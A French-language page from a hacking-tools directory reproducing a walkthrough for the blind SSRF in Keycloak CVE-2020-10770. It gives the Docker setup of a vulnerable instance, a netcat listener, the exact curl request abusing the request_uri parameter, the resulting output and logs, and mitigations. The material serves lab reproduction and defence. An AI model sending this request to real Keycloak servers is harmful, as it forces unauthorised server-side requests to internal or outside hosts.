Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-10770-keycloak-exploit-poc — Guide pas à pas pour reproduire la vulnérabilité SSRF aveugle de Keycloak (CVE-2020-10770) avec configuration Docker, configuration de l'écouteur et conseils d'atténuation. | Kitploit
Outils/GitHubGitHub/0xlyvio/cve-2020-10770-keycloak-exploit-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHub0xlyvio/cve-2020-10770-keycloak-exploit-poc

CVE-2020-10770-keycloak-exploit-poc

Guide pas à pas pour reproduire la vulnérabilité SSRF aveugle de Keycloak (CVE-2020-10770) avec configuration Docker, configuration de l'écouteur et conseils d'atténuation.

Voir le dépôt
il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC SSRF aveugle sur Keycloak

Ceci est une procédure pas à pas expliquant comment tester la SSRF aveugle (CVE-2020-10770) découverte par Lauritz Holtmann et documentée dans son article de blog.
Il a également brièvement expliqué comment la tester. Ceci n'est qu'une explication plus détaillée.

Tout le crédit revient à Lauritz.

Configuration

J'utilise Docker sur Mac OSX ici.
J'ai eu besoin de trois terminaux : un pour exécuter l'instance Keycloak, un pour l'écouteur et un pour la requête curl.

Défenseur

Vous avez besoin d'une instance Keycloak en cours d'exécution avec une version <= 12.0.1.
Vous pouvez démarrer une instance de test avec la commande suivante.

root@kitploit:~
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1

Visitez http://localhost:8080/auth/admin/ dans un navigateur et connectez-vous avec le nom d'utilisateur "admin" et le mot de passe "admin".

Sur le côté gauche, passez au menu "Clients". Cela vous amènera à la vue d'ensemble des Clients.
Vue d'ensemble des clients Oauth2

Sur le côté droit, cliquez sur "Create" pour créer un nouveau client. Cela vous amènera à la page de création du client.
Création du client Oauth2

Choisissez un "Client ID" raisonnable pour votre client Oauth2. Je choisis "blueteamoauth2client" ici (c'est votre <Keycloak_Client_ID>). Si vous utilisez un autre Client ID, vous devrez modifier un paramètre de requête dans la requête HTTP d'attaque. Cliquez sur save pour finaliser la configuration du client.
Création du client Oauth2

Vous verrez maintenant les paramètres de notre nouveau client Oauth2.
Création du client Oauth2

C'est tout pour la partie défense.

Attaquant

Écouteur

Vous avez besoin d'un écouteur qui accepte la requête que nous voulons déclencher avec notre SSRF. L'adresse IP et le port doivent donc être accessibles depuis le serveur Keycloak.
Vous ne pouvez pas utiliser localhost dans ce cas, car du point de vue de Keycloak, localhost sera dans le conteneur lui-même.
Pour récupérer l'adresse IP sur Mac OS, vous pouvez utiliser

root@kitploit:~
for iface in $(ifconfig  | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done

J'ai choisi de démarrer l'écouteur sur mon système hôte sur le port 4444.

root@kitploit:~
nc -v -l 4444

Attaque

Dans un autre terminal, vous devez effectuer une requête avec curl. Vous devez l'adapter à vos besoins.

root@kitploit:~
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"

Les éléments importants sont :

  • <Keycloak_host_or_ip> dans mon cas "localhost".
  • <Keycloak_port> dans mon cas "8080".
  • <Keycloak_realm> le realm utilisé par Keycloak. La valeur par défaut est "master". C'est ce que j'utilise ici.
  • <Netcat_listener_ip> l'adresse IP de l'écouteur netcat.
  • <Netcat_listener_port> le port de l'écouteur netcat.

Donc la requête dans mon cas est

root@kitploit:~
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"

Résultat

Dans l'écouteur netcat, vous verrez quelque chose comme ceci.

root@kitploit:~
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate

bash-3.2$

Cela signifie que l'instance Keycloak a effectué un appel HTTP vers votre écouteur.

Il y aura également des entrées à ce sujet dans les journaux Keycloak.

root@kitploit:~
13:37:28,855 WARN  [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
	at java.base/java.net.SocketInputStream.socketRead0(Native Method)
	at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN  [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request

Atténuation

Pour atténuer cela, vous pouvez soit :

  • Mettre à jour Keycloak vers une version >= 12.0.2.
  • Vous assurer qu'un proxy inverse devant Keycloak supprime toute requête contenant le paramètre de requête "request_uri".

Remerciements

Merci à Lauritz d'avoir découvert et signalé la SSRF, d'avoir écrit l'article de blog et aussi pour l'indication initiale sur la façon de procéder.
Merci à Sebastian pour l'idée de bloquer les requêtes avec le paramètre de requête "request_uri" dans le proxy inverse.

Télécharger l’outil